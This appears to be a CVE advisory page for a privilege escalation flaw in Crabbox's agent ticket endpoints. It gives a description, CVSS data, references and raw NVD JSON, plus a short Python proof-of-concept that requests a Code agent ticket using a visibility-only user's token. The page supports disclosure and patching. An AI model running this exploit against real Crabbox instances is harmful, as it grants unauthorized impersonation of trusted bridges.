CVE-2026-8629

Description

Crabbox prior to v0.12.0 contains a privilege escalation vulnerability that allows users with shared visibility-only access to obtain Code, WebVNC, and Egress agent tickets by sending POST requests to ticket endpoints. Attackers can exploit insufficient access control checks on the /v1/leases/:id/code/ticket, /v1/leases/:id/webvnc/ticket, and /v1/leases/:id/egress/ticket endpoints to obtain bridge-agent tickets and impersonate trusted lease-side bridges despite having only visibility permissions.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Crabbox < v0.12.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-crabbox-instance"
lease_id = "target_lease_id"
attacker_token = "low_privilege_user_token" # User with visibility-only access

# Vulnerable endpoint for Code Agent ticket
# The application fails to enforce privilege checks here
exploit_url = f"{target_url}/v1/leases/{lease_id}/code/ticket"

headers = {
    "Authorization": f"Bearer {attacker_token}",
    "Content-Type": "application/json"
}

try:
    print(f"[*] Attempting to exploit CVE-2026-8629 against lease {lease_id}...")
    response = requests.post(exploit_url, headers=headers)

    if response.status_code == 200:
        print("[+] Exploit successful! Agent ticket obtained:")
        print(response.json())
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(response.text)

except Exception as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8629
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8629
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8629/
[4] VulDB https://vuldb.com/cve/CVE-2026-8629
[5] https://github.com/openclaw/crabbox/commit/95cb30dc7dbaa1fef690a42ef6ac1cb6e307a191
[6] https://github.com/openclaw/crabbox/pull/71
[7] https://github.com/openclaw/crabbox/releases/tag/v0.12.0
[8] https://www.vulncheck.com/advisories/crabbox-privilege-escalation-via-agent-ticket-endpoints
[9] https://github.com/openclaw/crabbox/pull/71

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8629", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:21.567", "lastModified": "2026-05-14T20:17:21.567", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Crabbox prior to v0.12.0 contains a privilege escalation vulnerability that allows users with shared visibility-only access to obtain Code, WebVNC, and Egress agent tickets by sending POST requests to ticket endpoints. Attackers can exploit insufficient access control checks on the /v1/leases/:id/code/ticket, /v1/leases/:id/webvnc/ticket, and /v1/leases/:id/egress/ticket endpoints to obtain bridge-agent tickets and impersonate trusted lease-side bridges despite having only visibility permissions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/openclaw/crabbox/commit/95cb30dc7dbaa1fef690a42ef6ac1cb6e307a191", "source": "[email protected]"}, {"url": "https://github.com/openclaw/crabbox/pull/71", "source": "[email protected]"}, {"url": "https://github.com/openclaw/crabbox/releases/tag/v0.12.0", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/crabbox-privilege-escalation-via-agent-ticket-endpoints", "source": "[email protected]"}, {"url": "https://github.com/openclaw/crabbox/pull/71", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}